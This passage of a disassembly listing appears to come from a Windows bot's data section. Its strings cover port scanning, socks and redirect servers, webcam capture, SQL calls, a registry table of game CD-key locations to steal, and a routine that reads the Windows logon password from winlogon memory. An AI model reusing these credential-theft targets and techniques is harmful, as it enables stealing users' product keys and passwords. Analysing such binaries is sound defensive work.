		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_1	db '  Failed to start server, error: <%d>.',0
unk_426A40	db    2			; DATA XREF: sub_405898+DBo
					; sub_40D2E0+5343o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aServerStarte_0	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 10h
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_405C74+38o
					; sub_409526+46o
unk_426A9C	db    2			; DATA XREF: sub_405DAD+EEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_426AD4	db    2			; DATA XREF: sub_405DAD+93o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_426B20	db    2			; DATA XREF: sub_405FC5+1CEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_426B74	db    2			; DATA XREF: sub_405FC5+173o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 10h
unk_426BC0	db    2			; DATA XREF: sub_405FC5+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_426C08	db    2			; DATA XREF: sub_405FC5+87o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 10h
unk_426C50	db    2			; DATA XREF: sub_406224+156o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '   Failed to start client thread, error: <%d>.',0
unk_426C9C	db    2			; DATA XREF: sub_406224+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '   Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_426CF4	db    2			; DATA XREF: sub_4063AC+1AAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '   Failed to start connection thread, error: <%d>.',0
unk_426D44	db    2			; DATA XREF: sub_4063AC+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '   Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_426D98	db    2			; DATA XREF: sub_406630+1B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 4
unk_426DD8	db    2			; DATA XREF: sub_406630+18Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_426E20	db    2			; DATA XREF: sub_406630+114o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_426E74	db    2			; DATA XREF: sub_406630+A8o
					; sub_40D2E0+5E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 4
unk_426EAC	db    2			; DATA XREF: sub_406835+1F9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_426EFC	db    2			; DATA XREF: sub_406835+18Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
unk_426F48	db    2			; DATA XREF: sub_406835+F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAuthentication	db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_406BF9+11o
aWindow		db 'Window',0           ; DATA XREF: sub_406E34+23o
					; sub_40702D+26o
		align 8
		dd 80000001h
off_426FAC	dd offset aSoftwareValveC ; DATA XREF: sub_40726C+Cr
					; sub_40726C+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_426FB8	dd 2 dup(0)		; DATA XREF: sub_40726C+26o
		dd 80000001h, 428140h, 428134h,	428124h, 2 dup(0)
		dd 80000001h, 428104h, 428100h,	4280ECh, 2 dup(0)
		dd 80000001h, 4280C8h, 428100h,	4280BCh, 2 dup(0)
		dd 80000001h, 428098h, 428090h,	42807Ch, 2 dup(0)
		dd 80000001h, 428068h, 428058h,	42803Ch, 2 dup(0)
		dd 80000001h, 427FF8h, 428180h,	427FE4h, 2 dup(0)
		dd 80000002h, 427FB8h, 427FACh,	427F8Ch, 2 dup(0)
		dd 80000002h, 427F58h, 428180h,	427F40h, 2 dup(0)
		dd 80000002h, 427F0Ch, 428180h,	427EF4h, 2 dup(0)
		dd 80000002h, 427EDCh, 428180h,	427EC4h, 2 dup(0)
		dd 80000002h, 427E88h, 4325D8h,	427E78h, 2 dup(0)
		dd 80000002h, 427E40h, 4325D8h,	427E2Ch, 2 dup(0)
		dd 80000002h, 427DE0h, 4325D8h,	427DC0h, 2 dup(0)
		dd 80000002h, 427D70h, 4325D8h,	427D44h, 2 dup(0)
		dd 80000002h, 427D08h, 4325D8h,	427CF4h, 2 dup(0)
		dd 80000002h, 427CBCh, 4325D8h,	427CACh, 2 dup(0)
		dd 80000002h, 427C5Ch, 4325D8h,	427C30h, 2 dup(0)
		dd 80000002h, 427BF0h, 4325D8h,	427BD4h, 2 dup(0)
		dd 80000002h, 427BA4h, 4325D8h,	427B84h, 2 dup(0)
		dd 80000002h, 427B48h, 4325D8h,	427B34h, 2 dup(0)
		dd 80000002h, 427AECh, 4325D8h,	427ACCh, 2 dup(0)
		dd 80000002h, 427A78h, 4325D8h,	427A48h, 2 dup(0)
		dd 80000002h, 4279F8h, 4325D8h,	4279CCh, 2 dup(0)
		dd 80000002h, 42798Ch, 427984h,	427964h, 2 dup(0)
		dd 80000002h, 427920h, 4325D8h,	427904h, 2 dup(0)
		dd 80000002h, 4278B8h, 4325D8h,	427894h, 2 dup(0)
		dd 80000002h, 427860h, 4325D8h,	427854h, 2 dup(0)
		dd 80000002h, 427820h, 4325D8h,	427814h, 2 dup(0)
		dd 80000002h, 4277E0h, 4325D8h,	4277D4h, 2 dup(0)
		dd 80000002h, 4277A0h, 4325D8h,	427794h, 2 dup(0)
		dd 80000002h, 427758h, 4325D8h,	427744h, 2 dup(0)
		dd 80000002h, 427708h, 4325D8h,	4276F4h, 2 dup(0)
		dd 80000002h, 4276C4h, 428180h,	4276A8h, 2 dup(0)
		dd 80000002h, 427688h, 427680h,	42765Ch, 2 dup(0)
		dd 80000002h, 427640h, 427680h,	427620h, 2 dup(0)
		dd 80000002h, 427600h, 427680h,	4275DCh, 2 dup(0)
		dd 80000002h, 4275C4h, 427680h,	4275C0h, 2 dup(0)
		dd 80000002h, 4275A4h, 427594h,	42758Ch, 2 dup(0)
		dd 80000002h, 427558h, 427554h,	42753Ch, 2 dup(0)
		dd 80000002h, 427500h, 4274F4h,	4274CCh, 4274BCh, 4274A8h
		dd 80000002h, 427484h, 427478h,	427464h, 427454h, 42744Ch
		dd 80000002h, 427484h, 427478h,	427420h, 427454h, 427418h
		dd 80000002h, 427484h, 427478h,	4273E8h, 427454h, 4273E0h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 10h
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 10h
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 10h
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 10h
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 10h
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 10h
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 10h
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 10h
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 10h
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 10h
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 10h
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 10h
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 10h
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 10h
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 10h
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 10h
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: _2:00426FB4o
aCdkey		db 'CDKey',0            ; DATA XREF: _2:00426FB0o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: _2:off_426FACo
		align 10h
asc_4281B0:				; DATA XREF: sub_40726C+E9o
					; sub_40726C+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_40726C+8Fo
					; sub_40D2E0:loc_411AB1o
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_40726C+7Eo
					; sub_40752B+45o ...
		align 10h
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_40726C+2Bo
		align 4
unk_4281D4	db    2			; DATA XREF: sub_407410+C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_428204	db    2			; DATA XREF: sub_407410+5Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_40752B+107o
		align 4
aS_4		db '%s\*',0             ; DATA XREF: sub_40752B+1Ao
		align 4
unk_428254	db    2			; DATA XREF: sub_40767D:loc_4077F6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToEnable	db '   Failed to enable Debug Privilege.',0
		align 4
unk_428298	db    2			; DATA XREF: sub_40767D:loc_4077C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindWi	db '   Unable to find Winlogon Process ID.',0
unk_4282DC	db    2			; DATA XREF: sub_40767D:loc_4077C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindTh	db '   Unable to find the password in memory.',0
		align 4
unk_428324	db    2			; DATA XREF: sub_40767D+117o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLogo	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(no password)).',0
		align 4
aUserdomain:				; DATA XREF: sub_40767D+DCo
		unicode	0, <USERDOMAIN>,0
		align 4
aUsername:				; DATA XREF: sub_40767D+CEo
		unicode	0, <USERNAME>,0
		align 4
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_40767D+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_40767D+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_40767D+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_40767D+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_40767D+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_40767D+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_40767D+40o
					; sub_40767D+161o ...
		align 4
unk_428478	db    2			; DATA XREF: sub_40767D+35o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aOnlySupportedO	db '   Only supported on Windows NT/2000.',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_40784F+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_40784F+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_40784F+AFo
		align 4
unk_4284D8	db    2			; DATA XREF: sub_407CB5+70o
					; sub_407D4C+C7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_0	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/%S).',0
		align 4
unk_428544	db    2			; DATA XREF: sub_407D4C+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_1	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(N/A)).',0
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_407E65+C50o
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_407E65+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_407E65:loc_408AA0o
					; _6:off_4E0BE8o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_407E65+BE6o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_407E65+BD9o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_407E65+BCCo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_407E65+BBFo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_407E65+BB2o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_407E65+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_407E65:loc_408A02o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_407E65+B68o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_407E65+B60o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_407E65:loc_4089B8o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_407E65+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_407E65+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_407E65+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_407E65+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_407E65:loc_408944o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_407E65+AAAo
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_407E65+AA2o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_407E65:loc_4088FAo
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_407E65+A60o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_407E65+A58o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_407E65:loc_4088B0o
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_407E65+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_407E65+9C1o
		align 4
